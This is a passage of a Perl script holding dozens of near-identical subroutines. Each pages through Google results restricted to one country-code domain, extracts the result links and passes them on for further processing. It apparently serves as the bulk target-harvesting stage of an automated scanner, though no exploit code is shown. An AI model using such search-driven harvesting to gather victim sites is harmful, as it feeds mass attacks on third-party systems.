  7019.     }
  7020.     return @list;
  7021. }
  7022.  
  7023. sub al() {
  7024.     my @list;
  7025.     my $key = $_[0];
  7026.     for (my $i=0; $i<=1000; $i+=100){
  7027.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i);
  7028.         my $res = &search_engine_query($search);
  7029.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7030.             my $link = $1;
  7031.             if ($link !~ /google/){
  7032.                 my @grep = &links($link);
  7033.                 push(@list,@grep);
  7034.             }
  7035.         }
  7036.     }
  7037.     return @list;
  7038. }
  7039.  
  7040. sub dz() {
  7041.     my @list;
  7042.     my $key = $_[0];
  7043.     for (my $i=0; $i<=1000; $i+=100){
  7044.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Adz%26num%3D100%26start%3D".$i);
  7045.         my $res = &search_engine_query($search);
  7046.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7047.             my $link = $1;
  7048.             if ($link !~ /google/){
  7049.                 my @grep = &links($link);
  7050.                 push(@list,@grep);
  7051.             }
  7052.         }
  7053.     }
  7054.     return @list;
  7055. }
  7056.  
  7057. sub ao() {
  7058.     my @list;
  7059.     my $key = $_[0];
  7060.     for (my $i=0; $i<=1000; $i+=100){
  7061.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aao%26num%3D100%26start%3D".$i);
  7062.         my $res = &search_engine_query($search);
  7063.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7064.             my $link = $1;
  7065.             if ($link !~ /google/){
  7066.                 my @grep = &links($link);
  7067.                 push(@list,@grep);
  7068.             }
  7069.         }
  7070.     }
  7071.     return @list;
  7072. }
  7073.  
  7074. sub aq() {
  7075.     my @list;
  7076.     my $key = $_[0];
  7077.     for (my $i=0; $i<=1000; $i+=100){
  7078.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aaq%26num%3D100%26start%3D".$i);
  7079.         my $res = &search_engine_query($search);
  7080.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7081.             my $link = $1;
  7082.             if ($link !~ /google/){
  7083.                 my @grep = &links($link);
  7084.                 push(@list,@grep);
  7085.             }
  7086.         }
  7087.     }
  7088.     return @list;
  7089. }
  7090.  
  7091. sub am() {
  7092.     my @list;
  7093.     my $key = $_[0];
  7094.     for (my $i=0; $i<=1000; $i+=100){
  7095.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i);
  7096.         my $res = &search_engine_query($search);
  7097.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7098.             my $link = $1;
  7099.             if ($link !~ /google/){
  7100.                 my @grep = &links($link);
  7101.                 push(@list,@grep);
  7102.             }
  7103.         }
  7104.     }
  7105.     return @list;
  7106. }
  7107.  
  7108. sub aw() {
  7109.     my @list;
  7110.     my $key = $_[0];
  7111.     for (my $i=0; $i<=1000; $i+=100){
  7112.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aaw%26num%3D100%26start%3D".$i);
  7113.         my $res = &search_engine_query($search);
  7114.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7115.             my $link = $1;
  7116.             if ($link !~ /google/){
  7117.                 my @grep = &links($link);
  7118.                 push(@list,@grep);
  7119.             }
  7120.         }
  7121.     }
  7122.     return @list;
  7123. }
  7124.  
  7125. sub ac() {
  7126.     my @list;
  7127.     my $key = $_[0];
  7128.     for (my $i=0; $i<=1000; $i+=100){
  7129.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aac%26num%3D100%26start%3D".$i);
  7130.         my $res = &search_engine_query($search);
  7131.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7132.             my $link = $1;
  7133.             if ($link !~ /google/){
  7134.                 my @grep = &links($link);
  7135.                 push(@list,@grep);
  7136.             }
  7137.         }
  7138.     }
  7139.     return @list;
  7140. }
  7141.  
  7142. sub bj() {
  7143.     my @list;
  7144.     my $key = $_[0];
  7145.     for (my $i=0; $i<=1000; $i+=100){
  7146.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Abj%26num%3D100%26start%3D".$i);
  7147.         my $res = &search_engine_query($search);
  7148.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7149.             my $link = $1;
  7150.             if ($link !~ /google/){
  7151.                 my @grep = &links($link);
  7152.                 push(@list,@grep);
  7153.             }
  7154.         }
  7155.     }
  7156.     return @list;
  7157. }
  7158.  
  7159.  
  7160. sub bm() {
  7161.     my @list;
  7162.     my $key = $_[0];
  7163.     for (my $i=0; $i<=1000; $i+=100){
  7164.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Abm%26num%3D100%26start%3D".$i);
  7165.         my $res = &search_engine_query($search);
  7166.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7167.             my $link = $1;
  7168.             if ($link !~ /google/){
  7169.                 my @grep = &links($link);
  7170.                 push(@list,@grep);
  7171.             }
  7172.         }
  7173.     }
  7174.     return @list;
  7175. }
  7176.  
  7177. sub bt() {
  7178.     my @list;
  7179.     my $key = $_[0];
  7180.     for (my $i=0; $i<=1000; $i+=100){
  7181.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Abt%26num%3D100%26start%3D".$i);
  7182.         my $res = &search_engine_query($search);
  7183.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7184.             my $link = $1;
  7185.             if ($link !~ /google/){
  7186.                 my @grep = &links($link);
  7187.                 push(@list,@grep);
  7188.             }
  7189.         }
  7190.     }
  7191.     return @list;
  7192. }
  7193.  
  7194. sub bw() {
  7195.     my @list;
  7196.     my $key = $_[0];
  7197.     for (my $i=0; $i<=1000; $i+=100){
  7198.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Abw%26num%3D100%26start%3D".$i);
  7199.         my $res = &search_engine_query($search);
  7200.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7201.             my $link = $1;
  7202.             if ($link !~ /google/){
  7203.                 my @grep = &links($link);
  7204.                 push(@list,@grep);
  7205.             }
  7206.         }
  7207.     }
  7208.     return @list;
  7209. }
  7210.  
  7211. sub io() {
  7212.     my @list;
  7213.     my $key = $_[0];
  7214.     for (my $i=0; $i<=1000; $i+=100){
  7215.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aio%26num%3D100%26start%3D".$i);
  7216.         my $res = &search_engine_query($search);
  7217.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7218.             my $link = $1;
  7219.             if ($link !~ /google/){
  7220.                 my @grep = &links($link);
  7221.                 push(@list,@grep);
  7222.             }
  7223.         }
  7224.     }
  7225.     return @list;
  7226. }
  7227.  
  7228. sub bn() {
  7229.     my @list;
  7230.     my $key = $_[0];
  7231.     for (my $i=0; $i<=1000; $i+=100){
  7232.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Abn%26num%3D100%26start%3D".$i);
  7233.         my $res = &search_engine_query($search);
  7234.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7235.             my $link = $1;
  7236.             if ($link !~ /google/){
  7237.                 my @grep = &links($link);
  7238.                 push(@list,@grep);
  7239.             }
  7240.         }
  7241.     }
  7242.     return @list;
  7243. }
  7244.  
  7245. sub bf() {
  7246.     my @list;
  7247.     my $key = $_[0];
  7248.     for (my $i=0; $i<=1000; $i+=100){
  7249.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Abf%26num%3D100%26start%3D".$i);
  7250.         my $res = &search_engine_query($search);
  7251.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7252.             my $link = $1;
  7253.             if ($link !~ /google/){
  7254.                 my @grep = &links($link);
  7255.                 push(@list,@grep);
  7256.             }
  7257.         }
  7258.     }
  7259.     return @list;
  7260. }
  7261.  
  7262. sub kh() {
  7263.     my @list;
  7264.     my $key = $_[0];
  7265.     for (my $i=0; $i<=1000; $i+=100){
  7266.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Akh%26num%3D100%26start%3D".$i);
  7267.         my $res = &search_engine_query($search);
  7268.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7269.             my $link = $1;
  7270.             if ($link !~ /google/){
  7271.                 my @grep = &links($link);
  7272.                 push(@list,@grep);
  7273.             }
  7274.         }
  7275.     }
  7276.     return @list;
  7277. }
  7278.  
  7279. sub cm() {
  7280.     my @list;
  7281.     my $key = $_[0];
  7282.     for (my $i=0; $i<=1000; $i+=100){
  7283.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acm%26num%3D100%26start%3D".$i);
  7284.         my $res = &search_engine_query($search);
  7285.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7286.             my $link = $1;
  7287.             if ($link !~ /google/){
  7288.                 my @grep = &links($link);
  7289.                 push(@list,@grep);
  7290.             }
  7291.         }
  7292.     }
  7293.     return @list;
  7294. }
  7295.  
  7296. sub cv() {
  7297.     my @list;
  7298.     my $key = $_[0];
  7299.     for (my $i=0; $i<=1000; $i+=100){
  7300.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Acv%26num%3D100%26start%3D".$i);
  7301.         my $res = &search_engine_query($search);
  7302.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7303.             my $link = $1;
  7304.             if ($link !~ /google/){
  7305.                 my @grep = &links($link);
  7306.                 push(@list,@grep);
  7307.             }
  7308.         }
  7309.     }
  7310.     return @list;
  7311. }
  7312.  
  7313. sub ky() {
  7314.     my @list;
  7315.     my $key = $_[0];
  7316.     for (my $i=0; $i<=1000; $i+=100){
  7317.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aky%26num%3D100%26start%3D".$i);
  7318.         my $res = &search_engine_query($search);
  7319.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7320.             my $link = $1;
  7321.             if ($link !~ /google/){
  7322.                 my @grep = &links($link);
  7323.                 push(@list,@grep);
  7324.             }
  7325.         }
  7326.     }
  7327.     return @list;
  7328. }
  7329.  
  7330. sub cf() {
  7331.     my @list;
  7332.     my $key = $_[0];
  7333.     for (my $i=0; $i<=1000; $i+=100){
  7334.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Acf%26num%3D100%26start%3D".$i);
  7335.         my $res = &search_engine_query($search);
  7336.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7337.             my $link = $1;
  7338.             if ($link !~ /google/){
  7339.                 my @grep = &links($link);
  7340.                 push(@list,@grep);
  7341.             }
  7342.         }
  7343.     }
  7344.     return @list;
  7345. }
  7346.  
  7347. sub cx() {
  7348.     my @list;
  7349.     my $key = $_[0];
  7350.     for (my $i=0; $i<=1000; $i+=100){
  7351.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Acx%26num%3D100%26start%3D".$i);
  7352.         my $res = &search_engine_query($search);
  7353.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7354.             my $link = $1;
  7355.             if ($link !~ /google/){
  7356.                 my @grep = &links($link);
  7357.                 push(@list,@grep);
  7358.             }
  7359.         }
  7360.     }
  7361.     return @list;
  7362. }
  7363.  
  7364. sub cw() {
  7365.     my @list;
  7366.     my $key = $_[0];
  7367.     for (my $i=0; $i<=1000; $i+=100){
  7368.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Acw%26num%3D100%26start%3D".$i);
  7369.         my $res = &search_engine_query($search);
  7370.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7371.             my $link = $1;
  7372.             if ($link !~ /google/){
  7373.                 my @grep = &links($link);
  7374.                 push(@list,@grep);
  7375.             }
  7376.         }
  7377.     }
  7378.     return @list;
  7379. }
  7380.  
  7381. sub cy() {
  7382.     my @list;
  7383.     my $key = $_[0];
  7384.     for (my $i=0; $i<=1000; $i+=100){
  7385.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acy%26num%3D100%26start%3D".$i);
  7386.         my $res = &search_engine_query($search);
  7387.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7388.             my $link = $1;
  7389.             if ($link !~ /google/){
  7390.                 my @grep = &links($link);
  7391.                 push(@list,@grep);
  7392.             }
  7393.         }
  7394.     }
  7395.     return @list;
  7396. }
  7397.  
  7398. sub fk() {
  7399.     my @list;
  7400.     my $key = $_[0];
  7401.     for (my $i=0; $i<=1000; $i+=100){
  7402.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Afk%26num%3D100%26start%3D".$i);
  7403.         my $res = &search_engine_query($search);
  7404.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7405.             my $link = $1;
  7406.             if ($link !~ /google/){
  7407.                 my @grep = &links($link);
  7408.                 push(@list,@grep);
  7409.             }
  7410.         }
  7411.     }
  7412.     return @list;
  7413. }
  7414.  
  7415. sub fo() {
  7416.     my @list;
  7417.     my $key = $_[0];
  7418.     for (my $i=0; $i<=1000; $i+=100){
  7419.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Afo%26num%3D100%26start%3D".$i);
  7420.         my $res = &search_engine_query($search);
  7421.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7422.             my $link = $1;
  7423.             if ($link !~ /google/){
  7424.                 my @grep = &links($link);
  7425.                 push(@list,@grep);
  7426.             }
  7427.         }
  7428.     }
  7429.     return @list;
  7430. }
  7431.  
  7432. sub gh() {
  7433.     my @list;
  7434.     my $key = $_[0];
  7435.     for (my $i=0; $i<=1000; $i+=100){
  7436.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Agh%26num%3D100%26start%3D".$i);
  7437.         my $res = &search_engine_query($search);
  7438.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7439.             my $link = $1;
  7440.             if ($link !~ /google/){
  7441.                 my @grep = &links($link);
  7442.                 push(@list,@grep);
  7443.             }
  7444.         }
  7445.     }
  7446.     return @list;
  7447. }
  7448.  
  7449. sub gd() {
  7450.     my @list;
  7451.     my $key = $_[0];
  7452.     for (my $i=0; $i<=1000; $i+=100){
  7453.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Agd%26num%3D100%26start%3D".$i);
  7454.         my $res = &search_engine_query($search);
  7455.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7456.             my $link = $1;
  7457.             if ($link !~ /google/){
  7458.                 my @grep = &links($link);
  7459.                 push(@list,@grep);
  7460.             }
  7461.         }
  7462.     }
  7463.     return @list;
  7464. }
  7465.  
  7466. sub gp() {
  7467.     my @list;
  7468.     my $key = $_[0];
  7469.     for (my $i=0; $i<=1000; $i+=100){
  7470.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Agp%26num%3D100%26start%3D".$i);
  7471.         my $res = &search_engine_query($search);
  7472.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7473.             my $link = $1;
  7474.             if ($link !~ /google/){
  7475.                 my @grep = &links($link);
  7476.                 push(@list,@grep);
  7477.             }
  7478.         }
  7479.     }
  7480.     return @list;
  7481. }
  7482.  
  7483. sub gu() {
  7484.     my @list;
  7485.     my $key = $_[0];
  7486.     for (my $i=0; $i<=1000; $i+=100){
  7487.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Agu%26num%3D100%26start%3D".$i);
  7488.         my $res = &search_engine_query($search);
  7489.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7490.             my $link = $1;
  7491.             if ($link !~ /google/){
  7492.                 my @grep = &links($link);
  7493.                 push(@list,@grep);
  7494.             }
  7495.         }
  7496.     }
  7497.     return @list;
  7498. }
  7499.  
  7500. sub gn() {
  7501.     my @list;
  7502.     my $key = $_[0];
  7503.     for (my $i=0; $i<=1000; $i+=100){
  7504.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Agn%26num%3D100%26start%3D".$i);
  7505.         my $res = &search_engine_query($search);
  7506.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7507.             my $link = $1;
  7508.             if ($link !~ /google/){
  7509.                 my @grep = &links($link);
  7510.                 push(@list,@grep);
  7511.             }
  7512.         }
  7513.     }
  7514.     return @list;
  7515. }
  7516.  
  7517. sub gy() {
  7518.     my @list;
  7519.     my $key = $_[0];
  7520.     for (my $i=0; $i<=1000; $i+=100){
  7521.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Agy%26num%3D100%26start%3D".$i);
  7522.         my $res = &search_engine_query($search);
  7523.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7524.             my $link = $1;
  7525.             if ($link !~ /google/){
  7526.                 my @grep = &links($link);
  7527.                 push(@list,@grep);
  7528.             }
  7529.         }
  7530.     }
  7531.     return @list;
  7532. }
  7533.  
  7534. sub hm() {
  7535.     my @list;
  7536.     my $key = $_[0];
  7537.     for (my $i=0; $i<=1000; $i+=100){
  7538.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Ahm%26num%3D100%26start%3D".$i);
  7539.         my $res = &search_engine_query($search);
  7540.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7541.             my $link = $1;
  7542.             if ($link !~ /google/){
  7543.                 my @grep = &links($link);
  7544.                 push(@list,@grep);
  7545.             }
  7546.         }
  7547.     }
  7548.     return @list;
  7549. }
  7550.  
  7551. sub iq() {
  7552.     my @list;
  7553.     my $key = $_[0];
  7554.     for (my $i=0; $i<=1000; $i+=100){
  7555.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aiq%26num%3D100%26start%3D".$i);
  7556.         my $res = &search_engine_query($search);
  7557.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7558.             my $link = $1;
  7559.             if ($link !~ /google/){
  7560.                 my @grep = &links($link);
  7561.                 push(@list,@grep);
  7562.             }
  7563.         }
  7564.     }
  7565.     return @list;
  7566. }
  7567.  
  7568. sub jm() {
  7569.     my @list;
  7570.     my $key = $_[0];
  7571.     for (my $i=0; $i<=1000; $i+=100){
  7572.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ajm%26num%3D100%26start%3D".$i);
  7573.         my $res = &search_engine_query($search);
  7574.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7575.             my $link = $1;
  7576.             if ($link !~ /google/){
  7577.                 my @grep = &links($link);
  7578.                 push(@list,@grep);
  7579.             }
  7580.         }
  7581.     }
  7582.     return @list;
  7583. }
  7584.  
  7585. sub ki() {
  7586.     my @list;
  7587.     my $key = $_[0];
  7588.     for (my $i=0; $i<=1000; $i+=100){
  7589.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Aki%26num%3D100%26start%3D".$i);
  7590.         my $res = &search_engine_query($search);
  7591.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7592.             my $link = $1;
  7593.             if ($link !~ /google/){
  7594.                 my @grep = &links($link);
  7595.                 push(@list,@grep);
  7596.             }
  7597.         }
  7598.     }
  7599.     return @list;
  7600. }
  7601.  
  7602. sub kw() {
  7603.     my @list;
  7604.     my $key = $_[0];
  7605.     for (my $i=0; $i<=1000; $i+=100){
  7606.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Akw%26num%3D100%26start%3D".$i);
  7607.         my $res = &search_engine_query($search);
  7608.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7609.             my $link = $1;
  7610.             if ($link !~ /google/){
  7611.                 my @grep = &links($link);
  7612.                 push(@list,@grep);
  7613.             }
  7614.         }
  7615.     }
  7616.     return @list;
  7617. }
  7618.  
  7619. sub la() {
  7620.     my @list;
  7621.     my $key = $_[0];
  7622.     for (my $i=0; $i<=1000; $i+=100){
  7623.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ala%26num%3D100%26start%3D".$i);
  7624.         my $res = &search_engine_query($search);
  7625.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7626.             my $link = $1;
  7627.             if ($link !~ /google/){
  7628.                 my @grep = &links($link);
  7629.                 push(@list,@grep);
  7630.             }
  7631.         }
  7632.     }
  7633.     return @list;
  7634. }
  7635.  
  7636. sub lb() {
  7637.     my @list;
  7638.     my $key = $_[0];
  7639.     for (my $i=0; $i<=1000; $i+=100){
  7640.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Alb%26num%3D100%26start%3D".$i);
  7641.         my $res = &search_engine_query($search);
  7642.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7643.             my $link = $1;
  7644.             if ($link !~ /google/){
  7645.                 my @grep = &links($link);
  7646.                 push(@list,@grep);
  7647.             }
  7648.         }
  7649.     }
  7650.     return @list;
  7651. }
  7652.  
  7653. sub lr() {
  7654.     my @list;
  7655.     my $key = $_[0];
  7656.     for (my $i=0; $i<=1000; $i+=100){
  7657.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alr%26num%3D100%26start%3D".$i);
  7658.         my $res = &search_engine_query($search);
  7659.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7660.             my $link = $1;
  7661.             if ($link !~ /google/){
  7662.                 my @grep = &links($link);
  7663.                 push(@list,@grep);
  7664.             }
  7665.         }
  7666.     }
  7667.     return @list;
  7668. }
  7669.  
  7670. sub mo() {
  7671.     my @list;
  7672.     my $key = $_[0];
  7673.     for (my $i=0; $i<=1000; $i+=100){
  7674.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Amo%26num%3D100%26start%3D".$i);
  7675.         my $res = &search_engine_query($search);
  7676.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7677.             my $link = $1;
  7678.             if ($link !~ /google/){
  7679.                 my @grep = &links($link);
  7680.                 push(@list,@grep);
  7681.             }
  7682.         }
  7683.     }
  7684.     return @list;
  7685. }
  7686.  
  7687. sub mg() {
  7688.     my @list;
  7689.     my $key = $_[0];
  7690.     for (my $i=0; $i<=1000; $i+=100){
  7691.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Amg%26num%3D100%26start%3D".$i);
  7692.         my $res = &search_engine_query($search);
  7693.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7694.             my $link = $1;
  7695.             if ($link !~ /google/){
  7696.                 my @grep = &links($link);
  7697.                 push(@list,@grep);
  7698.             }
  7699.         }
  7700.     }
  7701.     return @list;
  7702. }
  7703.  
  7704. sub mv() {
  7705.     my @list;
  7706.     my $key = $_[0];
  7707.     for (my $i=0; $i<=1000; $i+=100){
  7708.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Amv%26num%3D100%26start%3D".$i);
  7709.         my $res = &search_engine_query($search);
  7710.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7711.             my $link = $1;
  7712.             if ($link !~ /google/){
  7713.                 my @grep = &links($link);
  7714.                 push(@list,@grep);
  7715.             }
  7716.         }
  7717.     }
  7718.     return @list;
  7719. }
  7720.  
  7721. sub mp() {
  7722.     my @list;
  7723.     my $key = $_[0];
  7724.     for (my $i=0; $i<=1000; $i+=100){
  7725.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Amp%26num%3D100%26start%3D".$i);
  7726.         my $res = &search_engine_query($search);
  7727.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7728.             my $link = $1;
  7729.             if ($link !~ /google/){
  7730.                 my @grep = &links($link);
  7731.                 push(@list,@grep);
  7732.             }
  7733.         }
  7734.     }
  7735.     return @list;
  7736. }
  7737.  
  7738. sub mq() {
  7739.     my @list;
  7740.     my $key = $_[0];
  7741.     for (my $i=0; $i<=1000; $i+=100){
  7742.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amq%26num%3D100%26start%3D".$i);
  7743.         my $res = &search_engine_query($search);
  7744.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7745.             my $link = $1;
  7746.             if ($link !~ /google/){
  7747.                 my @grep = &links($link);
  7748.                 push(@list,@grep);
  7749.             }
  7750.         }
  7751.     }
  7752.     return @list;
  7753. }
  7754.  
  7755. sub mr() {
  7756.     my @list;
  7757.     my $key = $_[0];
  7758.     for (my $i=0; $i<=1000; $i+=100){
  7759.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Amr%26num%3D100%26start%3D".$i);
  7760.         my $res = &search_engine_query($search);
  7761.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7762.             my $link = $1;
  7763.             if ($link !~ /google/){
  7764.                 my @grep = &links($link);
  7765.                 push(@list,@grep);
  7766.             }
  7767.         }
  7768.     }
  7769.     return @list;
  7770. }
  7771.  
  7772. sub yt() {
  7773.     my @list;
  7774.     my $key = $_[0];
  7775.     for (my $i=0; $i<=1000; $i+=100){
  7776.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ayt%26num%3D100%26start%3D".$i);
  7777.         my $res = &search_engine_query($search);
  7778.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7779.             my $link = $1;
  7780.             if ($link !~ /google/){
  7781.                 my @grep = &links($link);
  7782.                 push(@list,@grep);
  7783.             }
  7784.         }
  7785.     }
  7786.     return @list;
  7787. }
  7788.  
  7789. sub md() {
  7790.     my @list;
  7791.     my $key = $_[0];
  7792.     for (my $i=0; $i<=1000; $i+=100){
  7793.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Amd%26num%3D100%26start%3D".$i);
  7794.         my $res = &search_engine_query($search);
  7795.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7796.             my $link = $1;
  7797.             if ($link !~ /google/){
  7798.                 my @grep = &links($link);
  7799.                 push(@list,@grep);
  7800.             }
  7801.         }
  7802.     }
  7803.     return @list;
  7804. }
  7805.  
  7806. sub mc() {
  7807.     my @list;
  7808.     my $key = $_[0];
  7809.     for (my $i=0; $i<=1000; $i+=100){
  7810.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Amc%26num%3D100%26start%3D".$i);
  7811.         my $res = &search_engine_query($search);
  7812.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7813.             my $link = $1;
  7814.             if ($link !~ /google/){
  7815.                 my @grep = &links($link);
  7816.                 push(@list,@grep);
  7817.             }
  7818.         }
  7819.     }
  7820.     return @list;
  7821. }
  7822.  
  7823. sub me() {
  7824.     my @list;
  7825.     my $key = $_[0];
  7826.     for (my $i=0; $i<=1000; $i+=100){
  7827.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i);
  7828.         my $res = &search_engine_query($search);
  7829.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7830.             my $link = $1;
  7831.             if ($link !~ /google/){
  7832.                 my @grep = &links($link);
  7833.                 push(@list,@grep);
  7834.             }
  7835.         }
  7836.     }
  7837.     return @list;
  7838. }
  7839.  
  7840. sub mz() {
  7841.     my @list;
  7842.     my $key = $_[0];
  7843.     for (my $i=0; $i<=1000; $i+=100){
  7844.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i);
  7845.         my $res = &search_engine_query($search);
  7846.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7847.             my $link = $1;
  7848.             if ($link !~ /google/){
  7849.                 my @grep = &links($link);
  7850.                 push(@list,@grep);
  7851.             }
  7852.         }
  7853.     }
  7854.     return @list;
  7855. }
  7856.  
  7857. sub nr() {
  7858.     my @list;
  7859.     my $key = $_[0];
  7860.     for (my $i=0; $i<=1000; $i+=100){
  7861.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Anr%26num%3D100%26start%3D".$i);
  7862.         my $res = &search_engine_query($search);
  7863.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7864.             my $link = $1;
  7865.             if ($link !~ /google/){
  7866.                 my @grep = &links($link);
  7867.                 push(@list,@grep);
  7868.             }
  7869.         }
  7870.     }
  7871.     return @list;
  7872. }
  7873.  
  7874. sub nc() {
  7875.     my @list;
  7876.     my $key = $_[0];
  7877.     for (my $i=0; $i<=1000; $i+=100){
  7878.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Anc%26num%3D100%26start%3D".$i);
  7879.         my $res = &search_engine_query($search);
  7880.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7881.             my $link = $1;
  7882.             if ($link !~ /google/){
  7883.                 my @grep = &links($link);
  7884.                 push(@list,@grep);
  7885.             }
  7886.         }
  7887.     }
  7888.     return @list;
  7889. }
  7890.  
  7891. sub ng() {
  7892.     my @list;
  7893.     my $key = $_[0];
  7894.     for (my $i=0; $i<=1000; $i+=100){
  7895.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ang%26num%3D100%26start%3D".$i);
  7896.         my $res = &search_engine_query($search);
  7897.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7898.             my $link = $1;
  7899.             if ($link !~ /google/){
  7900.                 my @grep = &links($link);
  7901.                 push(@list,@grep);
  7902.             }
  7903.         }
  7904.     }
  7905.     return @list;
